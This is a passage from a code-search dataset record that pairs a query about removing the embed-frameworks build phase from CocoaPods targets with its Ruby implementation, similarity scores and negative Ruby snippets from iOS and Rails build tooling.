SCRIPT_PHASES_SCRIPT=\"$RCT_SCRIPT_RN_DIR/scripts/react_native_pods_utils/script_phases.sh\"\n WITH_ENVIRONMENT=\"$RCT_SCRIPT_RN_DIR/scripts/xcode/with-environment.sh\"\n /bin/sh -c \"$WITH_ENVIRONMENT $SCRIPT_PHASES_SCRIPT\"\n EOS\nend", "def flutter_install_all_ios_pods(ios_application_path = nil)\n flutter_install_ios_engine_pod(ios_application_path)\n flutter_install_plugin_pods(ios_application_path, '.symlinks', 'ios')\nend", "def copy_files_to_target\n COMMON_RAMMER_FILES.each do |file|\n source = File.join(\"#{@gem_path}/lib/modules/common/\",file)\n FileUtils.cp(source,\"#{@project_name}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{file}\"\n end\n end", "def add_template_repository_to_source_path\n if __FILE__ =~ %r{\\Ahttps?://}\n require \"tmpdir\"\n tempdir = Dir.mktmpdir(\"template-tmp\")\n source_paths.unshift(tempdir + \"/rails/muffi_template\")\n at_exit {FileUtils.remove_entry(tempdir)}\n git clone: [\n \"--quiet\",\n \"https://github.com/abtion/guidelines.git\",\n tempdir\n ].map(&:shellescape).join(\" \")\n else\n source_paths.unshift(File.dirname(__FILE__))\n end\nend", "def build_intermediate_apk( target ) \n cp @intermediate_apk, target\n end", "def build!\n create_output_directory\n spec.source_directories.each { |d| simple_compile_directory(d) }\n compile_files(spec.all_javascript_paths)\n compile_files(spec.all_stylesheet_paths)\n write_manifest\n end", "def initialize(argv)\n @mypodfile_path = Pathname.pwd + 'Mypodfile'\n super\n end", "def stage_install_paths(stage)\n select_existing_paths = proc do |cookbook_path, paths|\n paths.select {|from, _| cookbook_path.join(from).exist?}\n end\n\n common_paths = [['metadata.json', 'metadata.json']]\n\n Dir[vendor_path.join('*')]\n .map(&Pathname.method(:new))\n .map do |cookbook_path|\n cookbook_name = File.basename cookbook_path\n is_builder = (cookbook_name == name)\n is_dimod = cookbook_name.start_with? 'dimod-'\n dimod_enabled = is_dimod && enabled_modules.include?(cookbook_name)\n\n paths = if is_builder\n common_dapp_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}/common\", 'files/default'],\n [\"templates/#{stage}/common\", 'templates/default'],\n *enabled_recipes.flat_map do |recipe|\n [[\"files/#{stage}/#{recipe}\", 'files/default'],\n [\"templates/#{stage}/#{recipe}\", 'templates/default']]\n end\n ]\n )\n\n recipe_paths = enabled_recipes\n .map {|recipe| [\"recipes/#{stage}/#{recipe}.rb\", \"recipes/#{recipe}.rb\"]}\n .select {|from, _| cookbook_path.join(from).exist?}\n\n if recipe_paths.any?\n [*recipe_paths, *common_dapp_paths]\n else\n [nil, *common_dapp_paths]\n end\n elsif is_dimod && dimod_enabled\n common_dimod_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}\", 'files/default'],\n ['files/common', 'files/default'],\n [\"templates/#{stage}\", 'templates/default'],\n ['templates/common', 'templates/default'],\n [\"attributes/#{stage}.rb\", \"attributes/#{stage}.rb\"],\n ['attributes/common.rb', 'attributes/common.rb']\n ]\n )\n\n recipe_path = \"recipes/#{stage}.rb\"\n if cookbook_path.join(recipe_path).exist?\n [[recipe_path, recipe_path], *common_dimod_paths]\n else\n [nil, *common_dimod_paths]\n end\n elsif !is_dimod\n [['.', '.']]\n end\n\n [cookbook_path, paths] if paths && paths.any?\n end.compact\n end", "def add_template_repository_to_source_path\n source_paths.unshift(File.dirname(__FILE__))\nend", "def set_swift_files_as_public(installer)\n Pod::UI.puts \"Fixing interface builder integration\"\n\n installer.pods_project.targets.each do |target|\n next unless target.respond_to?(:product_type)\n next unless target.product_type == 'com.apple.product-type.framework'\n\n target.source_build_phase.files_references.each do |file|\n next unless File.extname(file.path) == '.swift'\n\n buildFile = target.headers_build_phase.add_file_reference(file)\n buildFile.settings = { 'ATTRIBUTES' => ['Public']}\n end\n end\n\n installer.pods_project.save\nend", "def build_rubocop_todo\n system! \"bundle exec rake rubocop:auto_gen_config\"\n end", "def commons_pods\nend", "def copy_stage_config\n run \"if [ -f #{release_path}/config/stage_configs/#{stage}.rb ]; then cp #{release_path}/config/stage_configs/#{stage}.rb #{release_path}/config/environments/stage.rb; fi\"\n end", "def add_pods_to_unity \n ios_project_path = File.join(BuildPath, \"ios\", \"Unity-iPhone.xcodeproj\")\n proj = ::Xcodeproj::Project.open(ios_project_path)\n\n pods_project_path = File.join(BuildPath, \"ios\", \"Pods\", \"Pods.xcodeproj\")\n proj.new_file(pods_project_path)\n\n proj.save\n end", "def build_pod\n if !xcodebuild_available?\n UI.warn \"Skipping compilation with `xcodebuild` because it can't be found.\\n\".yellow\n else\n UI.message \"\\nBuilding with `xcodebuild`.\\n\".yellow do\n scheme = if skip_import_validation?\n validation_pod_target.label if validation_pod_target.should_build?\n else\n 'App'\n end\n if scheme.nil?\n UI.warn \"Skipping compilation with `xcodebuild` because target contains no sources.\\n\".yellow\n else\n requested_configuration = configuration ? configuration : 'Release'\n if analyze\n output = xcodebuild('analyze', scheme, requested_configuration, :deployment_target => deployment_target)\n find_output = Executable.execute_command('find', [validation_dir, '-name', '*.html'], false)\n if find_output != ''\n message = 'Static Analysis failed.'\n message += ' You can use `--verbose` for more information.' unless config.verbose?\n message += ' You can use `--no-clean` to save a reproducible buid environment.' unless no_clean\n error('build_pod', message)\n end\n else\n output = xcodebuild('build', scheme, requested_configuration, :deployment_target => deployment_target)\n end\n parsed_output = parse_xcodebuild_output(output)\n translate_output_to_linter_messages(parsed_output)\n end\n end\n end\n end", "def after_configuration\n\n # Set the correct :build_dir based on the options.\n options.Help_Output_Location = File.dirname(__FILE__) unless options.Help_Output_Location\n app.set :build_dir, File.join(options.Help_Output_Location, \"#{options.CFBundleName} (#{options.Target}).help\", 'Contents')\n\n\n # Set the destinations for generated markdown partials and css.\n options.File_Markdown_Images = File.join(app.source, app.partials_dir, options.File_Markdown_Images)\n options.File_Markdown_Links = File.join(app.source, app.partials_dir, options.File_Markdown_Links)\n options.File_Image_Width_Css = File.join(app.source, app.css_dir, options.File_Image_Width_Css)\n\n\n # create all other necessary files\n process_plists\n build_mdimages\n build_mdlinks\n build_imagecss\n\nend", "def package_project(source, dest)\n FileUtils.mkdir_p(dest)\n FileUtils.cp(File.join(source, BUILDFILE), File.join(dest, BUILDFILE))\n PACKAGE_FILES.each do |file|\n cp_if_exists(File.join(source, file), dest)\n end\n rules = @project_config.publish_rules.empty? ? PUBLISH_RULES : @project_config.publish_rules\n\n rules.each do |from, to|\n log.debug \"Processing rule #{from} => #{to}\"\n cp_if_exists(File.join(source, from), File.join(dest, to))\n end\n end" ]
[ "0.7506854", "0.63259166", "0.60588396", "0.60438776", "0.5913537", "0.5913537", "0.5906089", "0.58915305", "0.5888176", "0.5858439", "0.5802226", "0.57770187", "0.5769325", "0.5739297", "0.5723602", "0.5702394", "0.5684604", "0.5683808", "0.56771743", "0.5666653", "0.5651197", "0.56345135", "0.5616126", "0.560287", "0.55881584", "0.5572548", "0.5561963", "0.5550801", "0.5548233", "0.5527741", "0.55254006", "0.55188745", "0.5511936", "0.5487308", "0.54464245", "0.54460734", "0.5442215", "0.5441998", "0.5441267", "0.54250526", "0.54135936", "0.540223", "0.539888", "0.539888", "0.53963715", "0.53791004", "0.5377623", "0.5371309", "0.5357826", "0.5350656", "0.5341402", "0.53125", "0.53037137", "0.5301079", "0.52942616", "0.52911234", "0.52823234", "0.52770877", "0.5275447", "0.52751315", "0.52751315", "0.5265344", "0.5265344", "0.5227673", "0.5215903", "0.5207466", "0.51943016", "0.51895607", "0.5186171", "0.5185264", "0.51784426", "0.51734984", "0.516812", "0.5148238", "0.5147281", "0.5136413", "0.5132475", "0.512753", "0.5125988", "0.5117787", "0.5116094", "0.5110421", "0.5110421", "0.5107211", "0.5104678", "0.51038736", "0.5087556", "0.5084133", "0.5083671", "0.5082113", "0.508186", "0.5080495", "0.5077701", "0.5071869", "0.50703526", "0.50695777", "0.5065637", "0.5064864", "0.506436", "0.5061911" ]
0.6852865
1
Removes the embed frameworks build phase from embedded targets
def remove_embed_frameworks_script_phase_from_embedded_targets return unless target.requires_host_target? native_targets.each do |native_target| if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def remove_embed_frameworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, EMBED_FRAMEWORK_PHASE_NAME)\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def prebuild_frameworks! \n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n \n if local_manifest != nil\n\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed \n unchanged = changes.unchanged\n deleted = changes.deleted \n \n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n \n # additions\n missing = unchanged.select do |pod_name|\n not exsited_framework_pod_names.include?(pod_name)\n end\n\n\n root_names_to_update = (added + changed + missing)\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, self.pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{self.pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map {|t| t.recursive_dependent_targets }.flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n targets = self.pod_targets\n end\n \n # frameworks which mark binary true, should be filtered before prebuild\n prebuild_framework_pod_names = []\n podfile.target_definition_list.each do |target_definition|\n next if target_definition.prebuild_framework_pod_names.empty?\n prebuild_framework_pod_names += target_definition.prebuild_framework_pod_names\n end\n \n \n\n \n # filter local pods\n targets = targets.reject {|pod_target| sandbox.local?(pod_target.pod_name) } if not Podfile::DSL.allow_local_pod\n\n # filter dependency\n # targets = targets.select {|pod_target| prebuild_framework_pod_names.include?(pod_target.pod_name) }\n \n # build!\n Pod::UI.puts \"🚀 Prebuild files (total #{targets.count})\"\n Pod::Prebuild.remove_build_dir(sandbox_path)\n \n targets = targets.reject { |pod_target| Pod::Podfile::DSL.binary_white_list.include?(pod_target.pod_name) }\n \n # 是否值缓存 .a 文件\n only_store_lib_file = Podfile::DSL.only_store_lib_file\n \n # 是否开启md5 命名\n md5_file_name = Podfile::DSL.md5_file_name\n md5_file_name_list = []\n \n \n subspec_name_enable = true\n \n # building check ...\n targets.each do |target|\n \n target_name = target.name\n # root_name = \"#{target_name}/\"\n spec = target.root_spec\n\n# Pod::UI.puts \"🚀 000 #{target.specs.to_json} \"\n\n specs_name = get_subspec_name(target)\n# Pod::UI.puts \"🚀 666 #{specs_name} \"\n\n \n # 如果过长 采用md5 + 文件记录\n if md5_file_name\n item = get_subspec_name_md5(target_name, specs_name, spec.version)\n specs_name = item[\"specs_name\"]\n# Pod::UI.puts \"🚀 333 #{specs_name} \"\n md5_file_name_list.push(item)\n end\n \n# specs_name = spec.name\n# Pod::UI.puts \"🚀 666 #{target.to_json} \"\n \n UI.section \"🍭 Prebuild Ready to build #{target_name} [#{target.label}]\".blue do\n if !target.should_build?\n Pod::UI.puts \"🏇 Skipping #{target.label}\"\n next\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target_name)\n output_path.mkpath unless output_path.exist?\n \n need_pull = Podfile::DSL.binary_cache\n need_push = false\n need_build = false\n\n generate_path = sandbox.generate_framework_path.to_s\n rsync_server_url = Podfile::DSL.rsync_server_url\n \n loop do\n if not need_pull\n need_build = true\n break\n end\n \n if sandbox.local?target_name and not Podfile::DSL.local_binary_cache\n need_build = true\n break\n end\n \n exist_remote_framework = Pod::PrebuildFetch.fetch_remote_framework_for_target(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n if not exist_remote_framework\n Pod::UI.puts \"💦 Non exist remote cache, #{target_name}\".blue\n \n need_build = true\n need_push = true\n break\n end\n \n Pod::UI.puts \"🎁 Exist remote cache, #{target_name}\".green\n\n break\n end\n\n if need_build\n Pod::Prebuild.build(sandbox_path, target, output_path, bitcode_enabled, Podfile::DSL.custom_build_options, Podfile::DSL.custom_build_options_simulator)\n end\n \n if need_push\n Podfile::DSL.builded_list.push(target_name)\n\n \n if only_store_lib_file\n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec.name, specs_name, spec.version, generate_path, rsync_server_url)\n else\n store_pack = {}\n store_pack[\"spec_name\"] = spec.name\n store_pack[\"specs_name\"] = specs_name\n store_pack[\"spec_version\"] = \"#{spec.version}\"\n store_pack[\"generate_path\"] = generate_path\n store_pack[\"server_url\"] = rsync_server_url\n\n Podfile::DSL.builded_store_list.push(store_pack)\n end\n end\n \n \n \n # public private headers\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = []\n target.file_accessors.each do |fa|\n headers += fa.headers || []\n end\n\n config_umbrella_header(output_path, target_name, headers)\n end\n\n \n # ...\n #target.static_framework\n #target.build_as_dynamic_library\n #target.build_as_static_framework\n \n # save the resource paths for later installing\n if !target.resource_paths.empty? #and target.build_as_dynamic?\n framework_path = output_path\n framework_path = framework_path + target.framework_name if target.build_as_framework?\n \n standard_sandbox_path = sandbox.standard_sanbox_path\n\n resources = begin\n if Pod::VERSION.start_with? \"1.5\"\n target.resource_paths\n else\n # resource_paths is Hash{String=>Array<String>} on 1.6 and above\n # (use AFNetworking to generate a demo data)\n # https://github.com/leavez/cocoapods-binary/issues/50\n target.resource_paths.values.flatten\n end\n end\n raise \"Wrong type: #{resources}\" unless resources.kind_of? Array\n\n path_objects = resources.map do |path|\n object = Prebuild::Passer::ResourcePath.new\n #object.real_file_path = framework_path + File.basename(path)\n object.real_file_path = path.gsub('${PODS_ROOT}', sandbox.generate_framework_path.to_s) if path.start_with? '${PODS_ROOT}'\n \n object.target_file_path = path.gsub('${PODS_ROOT}', standard_sandbox_path.to_s) if path.start_with? '${PODS_ROOT}'\n object.target_file_path = path.gsub(\"${PODS_CONFIGURATION_BUILD_DIR}\", standard_sandbox_path.to_s) if path.start_with? \"${PODS_CONFIGURATION_BUILD_DIR}\"\n \n object\n end\n # mark Generated files to Pods/xx\n Prebuild::Passer.resources_to_copy_for_static_framework[target_name] = path_objects\n \n # Logger(1000, \"path_objects\", path_objects)\n # Logger(1001, \"target.name\", target.name)\n\n end\n \n end\n\n end\n \n if md5_file_name\n pods_path = self.sandbox.root\n md5_file_name_path = pods_path + \"md5_file_name.txt\"\n File.write(md5_file_name_path.to_s, md5_file_name_list.to_json)\n end\n \n \n # remove build path\n Pod::Prebuild.remove_build_dir(sandbox_path) if Podfile::DSL.clean_build_dir\n \n def copy_vendered_files(lib_paths, root_path, target_folder)\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n def copy_vendered_headers(lib_paths, root_path)\n lib_paths.each do |lib_path|\n FileUtils.cp_r(lib_path, root_path, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n end\n end\n \n \n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = self.sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n \n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n if not target.should_build? \n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true, :verbose => Pod::Podfile::DSL.verbose_log)\n next\n end\n \n# Logger(10032, \"dependencies\", target.dependencies)\n \n # continue ....\n next unless File.exist?(root_path)\n \n # copy to Generated\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n \n lib_paths = []\n\n #add frameworks\n lib_paths += file_accessor.vendored_frameworks || []\n \n if Pod::VERSION.start_with? \"1.9\"\n lib_paths += file_accessor.vendored_xcframeworks || [] # cocoapods version 1.9.0+\n end\n \n #add libraries\n lib_paths += file_accessor.vendored_libraries || []\n \n #add headers\n lib_paths += file_accessor.headers || []\n \n lib_paths += file_accessor.docs || []\n\n #add resources\n lib_paths += file_accessor.resources || []\n \n lib_paths += file_accessor.resource_bundles.values if not file_accessor.resource_bundles.nil?\n lib_paths += file_accessor.resource_bundle_files || []\n\n #add license\n lib_paths += [file_accessor.license] if not file_accessor.license.nil?\n lib_paths += [file_accessor.spec_license] if not file_accessor.spec_license.nil?\n\n #add readme\n lib_paths += [file_accessor.readme] if not file_accessor.readme.nil?\n \n\n #developer_files ⇒ Array<Pathname> Paths to include for local pods to assist in development.\n\n copy_vendered_files(lib_paths, root_path, target_folder)\n\n # framework not same\n if Podfile::DSL.allow_public_headers and target.build_as_framework?\n headers = file_accessor.headers || []\n copy_vendered_headers(headers, \"#{target_folder}/#{target.framework_name}/Headers\")\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox \n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n \n \n # Remove useless files\n # remove useless pods\n all_needed_names = self.pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name| \n all_needed_names.include? name\n end\n \n \n useless_target_names.each do |name|\n path = sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def prebuilt_apple_framework_targets\n filter_targets(@targets, 'prebuilt_apple_framework')\n end", "def prebuild_frameworks!\n UI.puts \"Start prebuild_frameworks\"\n\n # build options\n sandbox_path = sandbox.root\n existed_framework_folder = sandbox.generate_framework_path\n bitcode_enabled = Pod::Podfile::DSL.bitcode_enabled\n targets = []\n\n if Pod::Podfile::DSL.prebuild_all_vendor_pods\n UI.puts \"Rebuild all vendor frameworks\"\n targets = pod_targets\n elsif !local_manifest.nil?\n UI.puts \"Update some frameworks\"\n changes = prebuild_pods_changes\n added = changes.added\n changed = changes.changed\n unchanged = changes.unchanged\n\n existed_framework_folder.mkdir unless existed_framework_folder.exist?\n exsited_framework_pod_names = sandbox.exsited_framework_pod_names\n\n # additions\n missing = unchanged.reject { |pod_name| exsited_framework_pod_names.include?(pod_name) }\n\n root_names_to_update = (added + changed + missing)\n if Pod::Podfile::DSL.enable_prebuild_dev_pod && Pod::Podfile::DSL.is_prebuild_job\n root_names_to_update += Pod::Prebuild::CacheInfo.cache_miss_dev_pods_dic.keys\n end\n\n # transform names to targets\n cache = []\n targets = root_names_to_update.map do |pod_name|\n tars = Pod.fast_get_targets_for_pod_name(pod_name, pod_targets, cache)\n if tars.nil? || tars.empty?\n raise \"There's no target named (#{pod_name}) in Pod.xcodeproj.\\n #{pod_targets.map(&:name)}\" if t.nil?\n end\n tars\n end.flatten\n\n # add the dendencies\n dependency_targets = targets.map(&:recursive_dependent_targets).flatten.uniq || []\n targets = (targets + dependency_targets).uniq\n else\n UI.puts \"Rebuild all frameworks\"\n targets = pod_targets\n end\n\n targets = targets.reject { |pod_target| should_not_prebuild_vendor_pod(pod_target.name) }\n unless Podfile::DSL.enable_prebuild_dev_pod\n targets = targets.reject { |pod_target| sandbox.local?(pod_target.pod_name) }\n end\n\n # build!\n Pod::UI.puts \"Prebuild frameworks (total #{targets.count})\"\n Pod::UI.puts targets.map(&:name)\n\n Pod::Prebuild.remove_build_dir(sandbox_path)\n targets.each do |target|\n unless target.should_build?\n Pod::UI.puts \"Skip prebuilding #{target.label} because of no source files\".yellow\n next\n # TODO (thuyen): Fix an issue in this scenario:\n # - Frameworks are shipped as vendor frameworks (-> skipped during prebuild)\n # -> The dir structure of this framework in Pods is incorrect.\n # - Expected: Pods/MyFramework/<my_files>\n # - Actual: Pods/MyFramework/MyFramework/<my_files>. Sometimes, Pods/MyFramework is empty :|\n # -> Better to detect such targets EARLY and add them to the blacklist (DSL.unbuilt_pods)\n end\n\n output_path = sandbox.framework_folder_path_for_target_name(target.name)\n output_path.mkpath unless output_path.exist?\n Pod::Prebuild.build(\n sandbox_path,\n target,\n output_path,\n bitcode_enabled,\n Podfile::DSL.custom_build_options,\n Podfile::DSL.custom_build_options_simulator\n )\n collect_metadata(target, output_path)\n end\n Pod::Prebuild.remove_build_dir(sandbox_path)\n\n # copy vendored libraries and frameworks\n targets.each do |target|\n root_path = sandbox.pod_dir(target.name)\n target_folder = sandbox.framework_folder_path_for_target_name(target.name)\n\n # If target shouldn't build, we copy all the original files\n # This is for target with only .a and .h files\n unless target.should_build?\n Prebuild::Passer.target_names_to_skip_integration_framework << target.name\n FileUtils.cp_r(root_path, target_folder, :remove_destination => true)\n next\n end\n\n target.spec_consumers.each do |consumer|\n file_accessor = Sandbox::FileAccessor.new(root_path, consumer)\n lib_paths = file_accessor.vendored_frameworks || []\n lib_paths += file_accessor.vendored_libraries\n # @TODO dSYM files\n lib_paths.each do |lib_path|\n relative = lib_path.relative_path_from(root_path)\n destination = target_folder + relative\n destination.dirname.mkpath unless destination.dirname.exist?\n FileUtils.cp_r(lib_path, destination, :remove_destination => true)\n end\n end\n end\n\n # save the pod_name for prebuild framwork in sandbox\n targets.each do |target|\n sandbox.save_pod_name_for_target target\n end\n\n # Remove useless files\n # remove useless pods\n all_needed_names = pod_targets.map(&:name).uniq\n useless_target_names = sandbox.exsited_framework_target_names.reject do |name|\n all_needed_names.include? name\n end\n useless_target_names.each do |name|\n UI.puts \"Remove: #{name}\"\n path = sandbox.framework_folder_path_for_target_name(name)\n path.rmtree if path.exist?\n end\n\n if Podfile::DSL.dont_remove_source_code\n # just remove the tmp files\n path = sandbox.root + \"Manifest.lock.tmp\"\n path.rmtree if path.exist?\n else\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.reject { |file| to_remain_files.include?(File.basename(file)) }\n to_delete_files.each { |file| file.rmtree if file.exist? }\n end\n\n updated_target_names = targets.map { |target| target.label.to_s }\n deleted_target_names = useless_target_names\n Pod::UI.puts \"Targets to prebuild: #{updated_target_names}\"\n Pod::UI.puts \"Targets to cleanup: #{deleted_target_names}\"\n\n prebuild_output.write_delta_file(updated_target_names, deleted_target_names)\n prebuild_output.process_prebuilt_dev_pods\n end", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n 